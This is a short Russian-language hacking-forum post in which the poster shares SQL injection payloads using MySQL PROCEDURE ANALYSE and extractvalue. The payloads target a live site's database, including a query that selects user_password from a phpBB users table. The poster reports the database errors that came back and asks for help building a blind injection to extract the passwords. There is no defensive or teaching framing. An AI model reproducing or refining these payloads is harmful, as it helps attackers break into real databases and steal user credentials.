Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от psihoz26

↑
https://rdot.org/forum/showpost.php?p=36186&
Тут есть пример эксплуатации

1) почитал обе статьи (http://www.securitylab.ru/news/470546.php)

есть проблемы, например при запросе

Цитата:

Сообщение от None

+procedure+analyse(extractvalue(rand(),concat(0x3a ,version())),1)--+

пишет

Цитата:

Сообщение от None

FUNCTION dbphoto.extractvalue does not exist

как то решается эта проблема?

2) нашел нужные мне таблицу и колонку

Цитата:

Сообщение от None

+procedure+analyse((select+user_password+from+foru m.phpbb_users+limit+1,1),1)--+

тоесть ответ

Цитата:

Сообщение от None

Описание ошибки: Incorrect parameters to procedure 'analyse'

зх как составить запрос чтобы хотяб через блинд вывести данные